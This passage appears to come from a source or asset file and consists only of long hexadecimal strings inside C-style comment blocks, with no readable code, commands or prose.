5e0ffbf80b7d714e8f2f950657900fcee1b7efe24c53cfe5da253e361d7849000626bc2af68f6121c5dc6aa0efc05a589fa6140de21e5f2d0335a6cb71bb7c2824800016ef2ce35553e9dd980c9ef0127b4129e18662fde326b2a9283395afc8e4984f9d2eb0eced56c7cce54c4c38b76234fdefd7c128183a8cf7358eff1e3893c52b1b8333eebeefd8167241e5eaa81beefa3e503700348c779c26dbd017ed8f34dd6ac490b28acf8b3a8562864af88a78fa636b411c4c525494e518859068e7fe8ac63abcf5d2f81957f85a94a4472a93c2f290fbf9c6cbbf59055275bd3b90d7c3061f8c51fdba12145a16567dd6a83fa79055c1a7ebdbe1ceb520200748b9c891a58e5c0cafd680d294016cfaa07037d3ae7d62e9cbff4be66b3fd9b959afef10559f28fe422b3d14ec50789ad960fc2ecb882686705a7b148ac6a987da34d5936423cbbc3daaee712ff828704547ce508baa373497bd9f9cbb539cb2095d08007ac2cc06b2a39bbc955515e5a344a45401051ffd2604464d56223fba16a68b2d478c312e491f043ff9b732d2fff8c2bd572aabe0e697d11969cf7b15ce06850025f21124c074e728fa6ebdf7c629222a031786d753dd5f092104cecb842799e2ddd19a6510c9e806b9e0308a38f8d0f670ca904eb1231613aa84083c363a1a4389f1b6bac8054c48b4e102b4a39fd0942c9dd181f1bbaef7a81dcf2ca7f930df25753af745e6a76cfaa270f661895549a0f9a7780b891602b48c2847efdb8eefe647b6f0122951c47628c21197f40703fe8c0d756fa44c1d53e8880dd015c84c264abb02f021530da2641243f8e685cecfb2eb17b7865df12269fcf82b6f3885501eb068ca89b436962529d01cc2d9b9da6e1df1fb462ad6485d404838a29201b2c9a4394d4ad1840e138453b5ba8ede0fcbf6789d81f3431b7bc5bddbf12bb68e6356cd7b75695c1af245a47d5e29a3d263326dec47e55c3a76fb1f21b7236034fe8fe930ae5f60b9226607636fab2d9065d1d3521a7dd1112964c526b5460d87ad783d3d60a6df990ff922218a2c569ba004256a13bebd6b535e8411b4b931ab3471de16bc94b27ed93c0f0ba756b751e4a10adace9ed49dce7148ba8b47832bb5db48157f5c7024c59c887f1d8efee6466e9647dc4067380dd8b83520aed80ca1e21fe36a1ed5063b45c09d4aeff7069f63312ce18103a04ad4111360049379242b8e146c32af6f04e45b7412b7c81a320768489f8b62c7da5911f0879a*/
/*5a98d49fd3388d04c015790ad5d829a45eea50f4f20b6ab473a998be792164056b4e2b96a8c9e3c9d0076bfac94df069fbbfc93abc244e8e77bbe6a42e7dbb144423a2b6a5552baaf2669607b3d67a97513536cf0bfa69b88e6e91493ae36f6b6e111ad3503a4bde1b21fd2ce4a7935deffdebdbc4109bf22e20ba682e2540dfa8449cea93275ab4a5732f1aade41aa5c267d311ea5ce4d08e1d43ebd3305ce488a482a2e9acd76c4dc9ff2d58ab4c12ce5a86a980991a6a5ae1da470a9afe1083be65f79d5a6cb7d639b43137a6aaf8104bb8de515cbd5ce4eea797f0ff1d05ea991a1908b2b2ca075b20961f74a3470e31b2f505d584a9a02c72f29721ca8f22b5cbbc143cea8274bdc4850e18f6ecdbac06872ad7f429eb0364e6fc3446a874259e5250a8843840097e61863036aa0e3442a7203550fd213d811df13d608dee0f1f4a0c4e648634469bd0d9e8a674318fb0a056f87c81b7c5b771da55ed8599374cd3d5fe18bb4bb4cb5c5ae8460f191d53a482ac34c50a303ffa9981ce5dfaa33c51c298770069ac41563b12a3b7f93b0a292d9a6228dd32ee07a28e489be3d04f62d9a422b587290765bae1d77599ebbc446286772e84c4de59638f879af08de274da28bbf22302255142ca0aae304b3ca9ca417ec47b8daac6563c516f2d85bff7d5c8da559f529681cb514d4c31fb8e25ba0ffe02c820ac9b8d85ce89fb8eed03ec78793269689bb5bceaf3b2d84fe5f1528cd29cb83aabc449d97f3093ceaa58ae8b1de057a2479a1c2acd8c5b0e2d0cc8dfc13eb2c9ca285f97010f67240e2a4d622fcaecac85a23f6358bd2607fa463fe94a22dc486ece75d050b45284eefd16f4cbd4f418072469fa636c04a92af9aae63489da1ab75a4aa2df07ccf12dfec2660fb85bfd6eb058ab085ff4dda1240c667dca908295324ffe46b35d50528241dd6b11be0ffffcd19925d2383aa43108bc19c7524de195bdca7959a02fc2ad7d6abfa7a1aa53ee4ed58d2997b7eaad118acd6cd203e8ba464fe4a541b94f3c2fc85c99074f050166c383ac2b59aba061b54bda8421d0b55d672bf5f76daffd8cab03e7eb2afd623da9bbaa6ff60647e29bafb38ea6f2fbb332e20f992643e8bc8da08360b711ff0794ce35252107b7490c96073951e68a811c180afd12c9d638cabad8fe8b5a90b1aceceeb76a91d2f12c181594a83afc787a3fffcaad1fc6118289a52ead5984f2181076d32fa414539801bffd92358e4340af0fc682b96e244bcf2b3b54b5e72250bbe506cffdea7fdb2c30d0c57d518a0fb3d3e46de02d9f024a71c24afcb761659990453779a9667a6683ba0f61ed8af2d21b3f1d0d8ac1903c7a12f4f4712e25ad9887a04a044bf0a796ef3a58f30d665f009246d53e7ee513cd128040c2a1572e140d74e833ab2154848356ff2610a3a25dfbfb90c48a195277d7f767f7c1403a2cbbdd5a5930258f8c57dfc81347d0c9a1b07e46b726db7f131060cc40fac21137345112fe3acf1f5795e4fcaec077e27dad7b92c5da8b3aff9fa5542e0d35746edc3d3f4d04280f7cb9755b11332959fbd29dc0cfbd309c85a59f333b10c16b16562874599b32dd51995a756350bbc901ec0508104182f799b45ce4ff5f73cae752b2538e7a6aaf935a7b2679a51d3d5e475030a4a2fd40c31b59addb0b07f0893702b9dbf270e6dece2ff332023997a04feead8e965cadba0eeeabdc7b9eafb23e9698f4a2525de6264d777d059136ef05e5a1d5788c7214b98e1368ca74b05f25f0727b81a6c9d11d43c8df7ad2d843c48cb05be25668f3434620b65f336f3f34cb8bbb7c100e75f81b0b1b6efdb2dffe5a6cfdc3cbff1272880c5e7c278a8c21d3a3e30b03bfe7856d5773f6aaa9ea1e166aae3b9c110bdf774328956afed773e425c1ad8c2e0f1715d14dcba651c3cf7bdcdcb73b4f08717425eea0381831c453f5ac8234cb706f7ee86b4f049263f2836de523a9c13ecc33471763e55152d5e5834e81f40ccc4701f1923cf4a438656663685b9e95e31662307f9387be4da01da0534ddaffcf54fea1dac7f8c7b6bdd4baacc9378d159848f45a7756281f571f2398e946da21c0c788ba8eb6f180bf95e3435b12ad8e9078b9c7115d37fa72690f0273fd23ab071a287b0cc82ee69ec852bf03f34e3ed1766ba4aed4a604cd34415306c31d02e3a37a9178383a4bfb4ab475e5e57362aac9a3b7136a48a406ce8964999ac7c82a28bcacd926d01db14b9875d4138949d2f9e8aff775ccdf385c3bb49c455630550df0c756e1d53d423ac7bea064c7eeea135d635aec01af27ca3364560d235f84a9bb95d09bdbdefd94c2ccf16b99c5efdf995353c0441d2cfc6529e649aceab088d810270ecac7c03a432d67cb87100b762a12e37c33a3d5c6b41675aef4aa2eb606e9f145d63ecaf9405359f739f7dbc694f82ca9f3ec8afc764d1667aee1fd03eef836c5d84c0a5789ab950487fb0ca49efe47e81930816f7971b2fb46e9a8f3e1f1f7590968a3f64d7dc5d855e034dfee1ce0d3f2b35cf467219bf88a84d5cd80ab3e30eae3f9a5d7ae265dc41d3c7449117732aedd1eb2199360873d013c3495d7904eac3a8123d4f3d8f06f9f94124d2c3878d9fe81b23c5151dd5e25b0d285d491c8bacb0d50d84d60dee16a16b721003f2b77f7c926289e54e22f8f737e81ccbc8ac07d95d3544c64ef83b4ccfd57026219fec120bbd94e1de2f2a513046903dde5bf37fff53ac80d6955979efcf13ae2e6ab23dcc085a7a3f97007694a0a53324772816a314ebc3d924b74be92f619a588436f*/
/*57501592e055b1dd1aae10b08f279a02f9fe9e7f04d54c1ffe1b55db6be4935c1a7f5b858088602e65772d74859597a4e1e1f960846fea0851b0541d2a9efe485d62260349599f1de78fcaaa1fdce278ce130847b0fd5d1fd2e5b4393ef7c56b8de949c45d9064f11be627b01d963d7de1ccd344c321d850ce32de146000f07bacd04cab38e4e624c37e5159d04504e228a65f3c1e4c23f83def274d4aebdb9390be3e6299d497d2b6ca221dc42094b6216aa0b6b482b1761bdab8b3dbf8e714c1274fde5b3a0ed69b86505994bcdd78aea1b4511e90341adc57dfd20d2c04d5a6c5e69d3a123f6c3c7e2a3d7d05117424e26963d6d0d72a3637101eccf01a75a00c60cba4fb9ba09283d66e99a0711ade3e9aac2bf06c9d287cc776ec653f33aa217b81359cef35b92ec8efb5223751a73491c508d7c07ddd68756aa74f198f39d9d9375a17cda5e622821dadf03fb289c7b08dd2781d2d0af39b48459955f6663fca3fd73b2b1c14c4d5c90ffd22976bb716101982c82aa1fb1c22b12dcc6b1d853526ab20e74113d10cbe3081ad64b4842adc758a97cc3d5d0cad44bbd8fe93b2b8279538f0104570c91d1ffb5ddc99c20e1848dee2e80b271dec8167de9d557b2a37762d768cb94ec33170e03b62bd2129f8203aae168e0c9e4d4a978e309c0109c8bbb8f575dd0e4ce64559795ade3c9bc70cd8b2a793cb4f10b8e4244e70b07e65447943e1747cd2450a3e11b3e3c943b5692d3a758d6313f5566d7316469b4e6deafdf4b4c1b97acbb6f89e0daa01f046adc69ce6a7893199f5a105daae343aeb342a95959d3b3be23149e4525270a9764c8be1746a7b6661513f148aa4aac1bb49259e0089f7dfe40903b3818ccba64a75cec79b3c638428b6986073dbbcdfc5eee349f7fd1664aa4e7c03f8d4abcf9142b9111b318df2f49163445330dd942e5caf8a6f08b15157aced225c80b0af0835b9eb5d183add74b91b882e5a143da1a9ea692731cc2f4922e27f84a08d4f5c5a8ce559a8e692d1ec925005de452e7bff58036bb715497f22b26bab4f88093edf98245024dea153c5a9e1301c050c9264f7342ffae81fcfd72ec795e671c3d5c8b5f694e3aed969c81edd765833161dbe25573450ee9e563ba2481821f36cdac5ce1338c74cdc4f4ba7738ce7573c9e684ec8c03e8220dbb0d7bd4f40409d586fdedcb25ec813a5df8661f056b4d8f23e45797d62813ca9d2f428ded0af5040ac58224fbbcf3b4d4f91d367fff1b883385e2fff2459793e70fda51e5aa7a74a3444937a1f8465d26ed3f2b56a5504c28a162178633cac60f86727d55f6d637a1e3307117031574913421ef1623020a0fb05184b3dcf25fac7e400c8e8f1bbad5a34c02faaef283809f419b75aea6012e5425762a45b15951abb6163315903fc708a2b0d34b9fa22234fda6abcf721eab340f9ff3a6112f1aad361ca7c22c58b330a3fcd922778a2658844eb3fa733258fbee305ea723011e8f41dca500ff429c8f35d36d48d606e461dc089ba46208b36307847f4dcfd8cc58672947e640e02038e14bf2787768b0690bb1c9ddf42935f965bcea81aec0cee4322e02057f9b1c20898d5d7fc5e9a7d34d90f9fb2f77c768b49e4923f35d7cdc77cb7fce802ebf0bba70bc84e4ca60d69282507b31a0c89b7a548bd70e13ea027f01f30659b0fddc928519f44828ab80f3669edbb85d7be3c176468caea2bec161ce7436f59c3a96e8d49727a4dd4d9257d7496c9648957eaa678ab470f8f1d6f1b11e99fb727ceeb18bf325867dfe90243b4ee6f20876cb1ac7c454d7fe72b6696e8b69628c4e49351590571245e2c073819d4c0e5fbca73cc54f3551355afbbd1e68d83e4f61af076786daf7d990ac18a9363e85708c0ae63342cec988bc796ec3d77198cfe528f64e621df765a4d086b2d9a43c89b0335cea100f45ad9835df83d568ea618c041a3fc64c1ce33dd60a52f4229cbe355a021d0994360a7a4fd4c8c891ec677adc662203c2e548bb402069196c19c4a35667a452908b41f7f2b50be8e4a7220db85d610dd8a4061665b257f4438e2eaab71b733238409a0c246a0bcf063bcf55f11d8733f5e01c97475bf3f373b86b3567b9d316418f02f38b554ddddd44ddf957644d47851cbaa6592e8b9ffb3b717d1e581b17c10ac96af753baa3b3a1996a517fb252d703803af6597c8e22565b2d6fb763ab403043ef9ae82e1140e45beb5bd95085add88f474ee45926464595a141a35942a432c4c3ab3940580d3192917c069e29bde4e3b5dbec02ace889fb0251e7708b83a0baeb4f9b6421d85eab42999dbf59673ed2bcdb9557b5454cea918e805c6f9a40f6090062305ae1e0bef615d4757719c2892dce120b2498a2d8a3ee96330c3ccd33019b0e30064313327aa08af43fdba4ba5c075eee33aafe11228fb06efdecfe1e4175b523a35e4a16c618460275d0e3b488f1ec6f32c42e1acb5b682a453342137b1f23eadad12d5f3d35071e0718db0ba6e26dda304c2c9c93b694fd56fb6a4b7fa48ccaec9ff0e45065e817ffe71a6068e5f46729c22e9a73cece2be02eb86e06fa8da9fe4779a120cc76dd0803a3ff2fc39e7ab10937b94d784b7eb9b4e1fc42eddb0c0e338a5798dda9a9dbd2c458e2e9419b24f00037b0db71fae14593433ef38b47a91d9f7797a63dffa116235fd4d361c67f3349c7827579962aea835eed03032743a67e2158cf6a3202cde89cb53f152c75ce0ea5904e6e4f44f0fc45c73fc53c5dc6504ccfad6af02ea754104caed1c88f3936aa90eae7147af1c196262a13614*/
/*ce851420cfac5c39b40468d1618fc02ebcb33e219fdb7853f57724b5d78b88ae9406a74d83aec72f01e46409847d44afdcd5179656422b9527271f4d4c1074dec1bedb5f713d0ec68c5bc4573389102c890eaecdb8b95372ab66c84003ae0787fe29f12241efee2f6f45a12ecae8edb3cfaaa5adcf8923c55d0c339daae2b418556f10863a590802c7476e2c6e09a7ce0ec162ed522b377472112bed8faf5a2958c9f0165cdf39cccbec38f8c7992221cf195e04a8e99555519a98bbd5e2fe924fa94a50fab02573095f96844d1a0ea9837c07b20a37d75b1af5638ce5d99a4b6e8410a958c6f84e889c0544d95849f955c4630d4ccc5311b092c651ada03bcc58a063fcd72b38f915c71e41eafe53183b933e2362d5c4703abd87667e06b343b967b7a81d2421ab6df89a6ae41598bfc4a13840613f33ce17f8dc0c6802904c6eb5829b332e4e436d5974d898b5fd9765a378182267d8913c58d878595e973250e72bbb3ea20ecb7df02fed4c822f7c6dd55880121184f1065beb136fed0187690e8c9c74d021f0711e0d2cf565a59622a9d8266c8b35d44e13961b2f4c890af0a8fbe17f48aa69d3cdf6098f08202fe51a9e6d34d0c72e264d9ed53e57d74ac08aabb2d127ade29c939d2b0f1a1777b7f31fd36896a2fe4bd18e800c278e6cafafc5a0c6d4de0be7a6ed3fe0401e1a33c50fc1eb83f3596a9fb637e49e2c14ae9198e302c93d5624bfbbd8cdcfeb0264d15ef236f4a5bbe11da9f88efdd83e930e1ff527ce2a8e3e8edd9276b528b3e462fd6e93d2daa96b0d001984e50a00ddd24872c61d30d82b82234a277642016fba4fdd65c72bacb7935af0286869e952ad775511362193170445d1918ab81fb8b79c81a5a9749875f35241e9b2b6ba33337070a117b31e152ce25fb04b51d64824bcb1aab7af958ba4ef78facb8515750c52b788bd8eccb865ff9ef981f2e7917cb4eca2650b462e7d4edf0c0f3c2d3a6fa6ede81749d39eccbc87454eaa549fb72058f2050052767a17e3e358fdd8e88b764bd8ebd3090a4dfbc4ee6377c9b967e4b334ed8fe2ebf43254365da0412b633435835450290c27b591e7dd220354036541f8b5efc6d0f6803aa46e3fe97265232e39015885398e96a53adb936b86bcb300fa5359ec8e7711892ca45f8caf68250ca7651317edd9f1f70f190f05d2d61e1e207e08ca1150d7b476f55c447f8a0ea43d5e270ef9ae933aff72fde84385d77b91d37969da1f5151150dea68b3f005a3f07e88e08acdc04edcd47c31e9da8039a9f26b1c73848c3c9b45de4326d00032d1d3591ec557e601e0524e92c63af428c564e002d2475661c6e259dd6d2873672d92ec59a61d0cc96fcef71ed4eba292f3b8101319949ae1d3988dced1ff5e3e446c80b901546cb759d56ea66426df8543e2219afb981129e2b1663e7cacbd26b152ff8d3e1acc64cd7cf213888ea5281702805a80e84a07aa044f58887642678e1849ffa3184d3e578f02c47c2c8c8af14491b0db0edf22452d08250983acfd709f62e7f33a8d4cada44dfdf77c24fae476817df50e2fde04b55b4cef3106475c5fae37678b15184bc53a54983cdfe0c7dfd84e333f64b06bb9f947fd42b6af636d195c516422c18be2995d6eb52a99ad1558c43a14528c1daecbf2ed290bad4a899a5503bfddda080c8bf7d4d3f2a2cebc88d97fdedc252c9af844e91819e85ee865d3d4c83b3563cf789a43dea1b4cdb9eaafddbab8ad3be2dbb6c52b9c6f68f7dea7698143c852e5ff779af9c325d79963d06f689659f8d3afc342d0d946ce5ef070fb7783d794c4c226fdd191545b458a64ec96459c7438b6472f01f412225be46279974d181e46d1384e2d8eeb02d477faabbdd911bedc236e0172d7b119f5cc5018fb283c8bd22a05d921a200672f83d924a8b0a0cee80b4eaf6fd8a52bdcead8d63a520bb5e6db1d6b42071d947842242a95ea870610cfd2f5414ada328d27590fe2d39d24797622484c1e5ce0579fcb368c7877fb6887ecb52429e9c6d414991e7db341374e4e2dfd93810a9e6ad1ff244f9b2b4c5576076ba6763d10675d62bae5ec9f42f6bc3185b108fd6b8f2ee946ba0ecda10bd4a5407834a9288f360f5a9545ccf8f7cf248bb6d47c2de8fe4cf241d323593b280cf7e5d43970f52bf389e3d8fefa3ee5581c3d56c6643eed0d2d9c6cff0220d824adb622fecf49254e6f81d001dfc018789d16218fde3d78f9cb638c870d8bf03eeb4f055cca9d120570567c74a5c98031443dd6eb433b1dd061a98a16529110411c8dbfde7c346c0a6af50cea60c510ccddd2f77797264970593da417c9001c2b0062ee77a5ea2ab9e1b2cdd6fc214144df37f7ebb74294e95c81af725094c6021fdc36475c74d0a13c94ad138aae5701da3f3785806b78532072485b399de89dccec7c3b7d47fdcd538a296ef78df1aa9f818f2732289cb652aafa347e2790652f597118376032113de7f724f581cfc575aedb5189e1b155ec443cabcbe2ccd092d593519bb32870d7a484448a5c939d6f4cc54043dda8917b9a4d388010b364d4b65a7afe0b79cd759df648d24e160afad226f8096b6d9db41b2db105efd47acea6898514cf9be1d5c4b0308d46f7193dfd62e2d5899095bbb6651ee0c67f8239f9ba5c53eda101052b754ce799d9542703b45a948a78db455edd0e7914d40a24d78e381dac29e641fa472d39b217c398ccc0c9c6077a84e91b29921a0983f227427aaadacf20641353062848a8bcd532584f357e1d6d4121f0aa663a342b3750d8a368285ee3162ef391686986d4e4*/
/*64e977dec80f6d453d00fb4de53e9598ea3c025a4289f6e7246bf6c23d4e5f28cc97fda18314f5034c0adafe09c168baa8372de304e97a34b3e28f51719f2a74efc41d43398f1d24e225d4b50193237e44e5ef07cac9c343979d8792b8965fbd3607dbeadf4a00e3938a449fdf86aa2d9e6f27342d39e8fe93db1dc2e96abd8e3a71bc6d1afc5403f9400383da7440ac265aedb2bea43eb8f9e03521f342b6199c6b61cdbfd04091e596ed96a843bab9c5d069b6a201513b2c9f07b21e0b3dce1dcd7bb8a6f302fc184980c024e5a113285b85e409bedced0bfd67ae2efcfd5149bc4737b93e5da18954b1486dc6f495089826f3842b7da608abbe8dbcf24999a90fd5dab8a7d6d96d2aa5c432bab1926298a60e4efca66b7433a728aaf974f9619b03cf06ccb960c58760b774419c33ea7316dfed515fe4d9bb0eedbfbe12e8a475923cc517efea614397c1fe13bb3daf71cf6848162f13b5af6ff5482aacd3000e42265c72da21b8a29ae6efb4b721b8614898967920fb702079103b2c229f1bed89423642582ab7a04df07b6e80ec0518d2ea68dabb4d18c54b31f79b2dbc680b1c6c6b40adf1b7915331ff0ab023e134b81a343de18c041c0cb025188ade5fabc35827b55f46dfeb3091a009dea4761df62c3c2a9e16b500191bc873a9f08759c46ee2e451c0ec0c8df544ffd6093d5adcb1a8b896bd196a4515b8d57097f8084e144e1758605cf00885abc3a5c47b37db7e336f2ea0f650af7809460d0a3fe7ffdf505100f3e8449aa16b9a9f36e6e4faf111880eadf1a9f9bda2029fbbc1b432013cddcb97280d5d8cecf59f13f7038c0740fbcf5ebaaf80590d84162ec5c6a35e5f7bb4963afdb93c1bae43b885cf849a8839ca9c0e88fea3ddd272524feea7024f13cf12ab667ed58f7181f962fd09f1bb2ea3ac89435813556c732f1ae3999a3d39c7693ad5e2011110f9ba4369ad4531f9b06c5e04e59ceacd6687a8f608f786d161dac1e720143766988285df730279bee74c46a0ea019af05b505b1306bc6f60faf0abe0c47e2fa92014b4ecf41011fca7a174c630f0ad645943d986d670ab703fca93a0cafe7e1c61a678845d1d873aaaa258a13f04505ce214037f7792a86cbe885fcf031fad93cc1840380761ec7e5799555869a36f03bd4c1e954d507b618ca37904cad492b6d8454d7ba3ab1a36f78e266b9ad623b976ae4ff69a234d19adcbd545809138297345537d407d3c583178ac1aadd493bca8dc1b7b6f4197cabe3d4bdeb8477d9d82f445f9cbb7c8569b3fc1ad7c4c1d918afb9844f7557162f6c7129caa171b715375bdaf0d327c2f092ca1acdbaf14197849565737a1a8c0f86124cc4258def50f026a12487598cb49fb60f5b4f604a9bf4036016897fa219d21819b099f97139fb7f41d1c4d7c86447e60445148540334fa141fe93a96ec94999005e2294d1c6e36f724634c1164aa8ec3c95a2d94324efc2841d3344b1283dc3a5725c89515d5c15adfa9fb84e2e78241b959a7b235c51f86f31b2496274dcd6bedd808d1af962b44f2b18cf70e1ee79deeabe2ccd2b6e5e84c73bcb2d24cf4aabd79bf7e50bdf20726a78669ff41e528e2d15c6f56018385807f50d656db3b52e64e497ab60255e645cd2089d2af35f8dcf4921f3b7f306144b853da2404d2213e62443ef3a2e8c7738bd03269eaa613e1d41cc9d531744c40bbc9dfeac9ab56908208f476b8500081825c417e2f5716a4fc116b24ca2d94877be35ddab6076d260414c6e5c5b1500d91d9d85ac6193fb8fc8b9b5111582495f7f0533d9bd26b4fb7a3dbef783e6459442d19693dc78c488c86c0a52c42c49ea12f41af020f4ef2bd2541f1e1c10e972f4864e49e462396df79244d69bfc61c79766b55d9ec401c29c709f183e53127c55886ceb685af7d3223d394fadb9aa75f3e16306c766befe4fb99e1a50f8765e6e31f2726ed504a6442a80e01aa72cd019695eeae948f7e13374cf806680d325bc8bbee14493827da911f0b2d0f425dae039231ed99ae711db4568f66b36ecf8854e2928a1fff73d8038c9928e4f77d6c98d194a1648723afeef55c369626cc6a604d0096cbf18e9c9d7290d8a8fba71f6db6c811eac3f54f4d107dc7a3b3ed5e1c6fe2a6f63396ea3712e80f77344a08d362b3ab2abcc48b71b1fcbd664fd4b9e4f08ffb118900c0aca58300d5687005fe87668d7125964a54caaa242f21e14922f195ebc687b52e337d1e958e88640101dbc864f6e53a0708f8549ca578cd08de7e0e553a6720fe6386f58e2e0aff5dbe0987096b8e73e5cc3edbb067a193dca05ee3c483b7aaba099d51371cee586a5cb96ced9d2f5fe82a6b12b4d5cca4b5a46338752197cba578d858f5de5f8703ac83eece026170958db06e0fe40d0753a71913c0e808367ea7412abad174c1c3dd151bb3b1f6880d312fb90a487ed682e0fdce0e1e36047b6ea805cf988653919c275634cd8512208869b5bee9f790c8e1ac552cded21cfb7e7c4cb233c360de3677d9a0e0bef561dec22f91c91756d32a823bfc0fb2ca01f77935258d1c9fb0f2cdcd6747e8c1e35be756e90798ef88301428ff22a97671b0b9ad695084b18a22d0c3b9430ce86c2e64ec04213d0dcb794701b2f761d0d4d6032808954a65b7d5899d740af63750d5488cd5d0303b65765a00744947881e4b353c3d174bc687afb6d04cd2d367c4ab726edee4e160773f73bc30382d0f5b522bf6cb5d8010830ca93f8de71b93842e48dff61c4f2dc3513d8f59ca946fbffa56c8fc7ce98f83f77147e2a93e851efa177f1875*/
/*800f5fd7bd6e428b0da88fd28d9c0c1c851aa30376a803175300ced96a5acff7a3755de532dde162b1444d52f33f40c07a199fb0998a53b8f873f1cf4d5229eed8b1aa6c54966620c634696454f49139ab9059884f81cd32d40029ef4f26db978bab234bb2e5591bedbe78e8ba9b0ac226739021f81be2981b36944a7665551212b0808587ff5fec42e74105db9ab7bc43c5e5f397ddd9e15ab69ead1efb8257f94bc1608c8ac51d4a172bc8c2187a162f412a329284de63084cceea0efa2cf9ba2346b60bddfd8bf838e8a0e35267d6a59ecb1afcf21018c9eae0f86f2b6b4a9ff447a9e26863d5e09e41caf6bf647a812918835c8f963a1fb06a1ffbb30228b7ee465acd0dd2b50a54966ef55a93fd37374fee99af400043b2171ca6ec5fb4b893708a352e5c101be806b2b3eae498c6d5c068e667ab703eb53d1cb2ac27785ba9d293bf0aa7de743a056f4ffec59b02e6bb18985a0470e8cdea74e2657869ba8b2c5477f9eb3c6def4b1fd654b23202851f2b8666b586ccd4cda8f0cc834940411266cde71556c52fc54a77eadfebeed9c94de9b2a3664186f9e0b6c01e26f48c5b49357d4d1d9b0a5f74d80eaf0c886f45a0d3b4e5ec9b2b7748038bb72e4553d6c9c35a189ae277d8d0d679ea9868bedef2f6871d0f4d598db74ee9e14692a4615a5a84bc6089dec99dfd01fd962a5d8cd1d47a361b0f01be6c7fc230e7edadaf2436455b435a821a26c751f0038f54844626b0c7adbc167eeebc988d4f3542d6b3b4a0a9a9cf9b493eb45e5eb1e700445fd1083fca1fc069f98f12a63b6964120f60aee04c26d258d693037b534a7fba15694616517e4b45720e762c2d7508f6254b4c9ee5c007b8c9014c24ab3ed65bda2553e95ccc17e4a1e77347d529b9228aa3f5e32735425923ce259bab8073f1f9e1858930890f2f4f45ac48f29c0b15e8a070c19b6646c995c46e0afe4aae3ecfb17a5c05b5bec5aba6cfbb7836a27a51e97490cf90d04bdc0dee6d78ce650bb7768da1e38f78df6eb67772c46924fde8a3fe3b56c86619fb220e9fc3faed0cc04bb18ee92e307210925efbf16558d887cfc02dbe61fc1686325483a80540ebffd2719bf8fa6db18368d77e62c47fccca7118b5a211a1d1061e8ded6694d72737826f2fc8ff3fca5918c4fa43754cca6d4035d7f36730215eef62ae57f6d89de96af9fd46b39b92bddbb42d740a9b63d826121b4c6b83c99968492e4e6e96da9696ad22ae8ea54e1a904d9a78b52320351f8661506415ca2dd0dcf5eb0c713d4eef630054e7b21f9426cd1b7bc21e6dad66c390574441620627b255c15f88bc50981d85e6f690b087a8e138a2c5c817f95ab16454e82f686c681ba9e04f9c404602caa801d0f6c0765ed298e894919392de5a49f1b0aa2c32b6b91dec8735412570d81bbf92a9baeb96e8f2e437aebf6062828a556340378056546628e3bfb77f913270a2d080f82d427b5a8513fc112d4b91810ad7f184f074cbffecc9da8f2b4989b7988fb0ec36cde3527976a723484b0a7f358b440fca72190acd858451bbaa65d90bb0f5354f8cc215d37935ba446e83530cb1a438380378023674047b9b58c9286b9f7762602785b1f97c58805c1d7609e2ce5accc47b45c5fcb1178291f292f75b12cc08cc1e1b82554e77d67cca13049793eb90e3e2b9addfaf6528dadde1ca4ec8c9abc19c80612a11382986d30e339fdbcb5f79aac8a5bce06d5e2ea7ae772eaf9ad7c01127a27577e79306cd860bd68d107b6635e177b9dd6e32126adfa89bec0a7f4ce6e4c3b48424380af9fa1ed2a0ffd48526787510958418ee2e7268b4d5552bf1048918f1324a487ce0ae0b992e424c0a7458a4acfbd240f2b3835ab1e6e3621fb971644537e3b321c65be66c0c34670d6c43e7dd2006c775b189f6c7771b7b4de17fd0f1d1fdc4fb43358315679aabc7bc5c4043f7e92c3d3a8f2969b6cf61abca9e9410b3a36b3fe85f465237a04cffddf105630cb0642fce1a827b7172eb9eb115e4ae9d025034e642b3901e7d36bd627c2c5fb018d28d3364dabd65236dcab664592cae3dfaf034976eeb022e28d2c2d3e3cbe8adce4fc5ce29e972a6a85753878be8da26b6fbebb628047a15b48b99b4e730f047fd02250cad9f667315f9904622d7564ad55f1e0e5192e16ea5f456605538b0b86986a22a943c080124fe55d9949d05ea7f668daff552a928cc7ca610703313805298ed23498e872591287d75beb5019012571e9641bedda4895e9db3817bc09921d132ec83cae5dc70e9435d9580075c875d54cce0ccaa5febd5dc14b508bb6021c5db09bfc4ffd6eb756b3fc087d5861fda6e70d5fa60c361e7e630223e75bc8baf8254a3f98472bbe59923d7e07a53a24eea13e3df1737654a6e41921551e617f12599efa5e57833bc246f51f8be867ff5e81b94a82b3d9d0a3557fb366013096c453a7e5ec3576b98e3e1266f3fd267d440cd4c91d5caa645eb5735eaa076bb0712a2f25e10bd31d1b288080b1bdade66c4b4f61b476ba25e3d6fa8e313441e2b9c290936d22f8463de03668fe49c732a2e1db0d4a41d51a80f6bc0ff4c45ac298a93649b35e80b57240d2ae21dabcce73193ca321f730795a1cda57656d9c4ec9985b38b139b2e82a11444b399f6b2dd060c91f4082ada7d049af397d86a287a1e8a07dd3f1208d454a523cad711f24eb582e8a225a2bbb1371227b2cffbf7f82782ba23645afb8ef2f6f483c1a92fad85c04c4fa890e16f0a364d96336f63f77a576b25dcad417e2345265db30a8d9a623a3b5bb96350d5a0aefdf7*/
/*a919e0a8944e62bd846e60ef465a076ecf5dce578b821ab94a28c4d12dcd86f51d76aa8b57150f5aaabaa57c56dcde627240af66152333ec2e04a3106061d356b6deb57d31fcd61307c7e4e92c0362862b4e65cf60c4ea234f9db1d31a717bf2795cc98c7b71d4fb18e472ff805ec40e6a5697a8aa25c93d2e0af1bc5f4aea3cdd24fb091401f708369c18664d8a457e3d5f04cd2b8b4dc40858c14f05532b42b0dcf96cd8f75ff40f49a2e8c8c48a91124d8f288402d6f94ee14f22d17bfe0a1c86ced2ad9aff9b9e51c2edf46a7f894ef1efff1dfa9d6948199a81cf1a513deb0f74e1f1eab695d953f8ca82fdc4beb22749be05f8ea1f99b2af0122ba57acca75c2fe172d34586d31b7b13430e770d4caf799cc2cc4c0193575af5171a8e2712fcd311ad49868649467d911f849e6cc64be649ae9abebd12a7b018be95ede84145ef61738f514859b89af9f1628fb9c3e51726a45f9a4274235ef20ed672059b770dbcd41730ce2ec5b8bcb3281fb84dccb8a5d92e3bd866000aa38a9b70f54a101cc1ce9017f4251aa3cd1225de4165bc6dbbc389dc7ce23d3809f19381e875d4835522fc1881945ec67dc60111004b0ac7f8ef9b0bb65cc077d70025e56a5b75cd81a72b3fe819b6add267f03673cefe639dde8927190b0f9bba050e72c50e5557f186d9509834996f20c9b9527276d59d9113edc75ca275e7a48ee7a0bd474dd5e0c17f575e0c6599dfba544fa8653c98b86aec18be2f71bdde1cb3ec14b6be5bafb85b589b2277ad24fe1d48ff1205015ecc7419cc25251b1d64bf4f87a13714596759bb806b47b3c10293a23c86851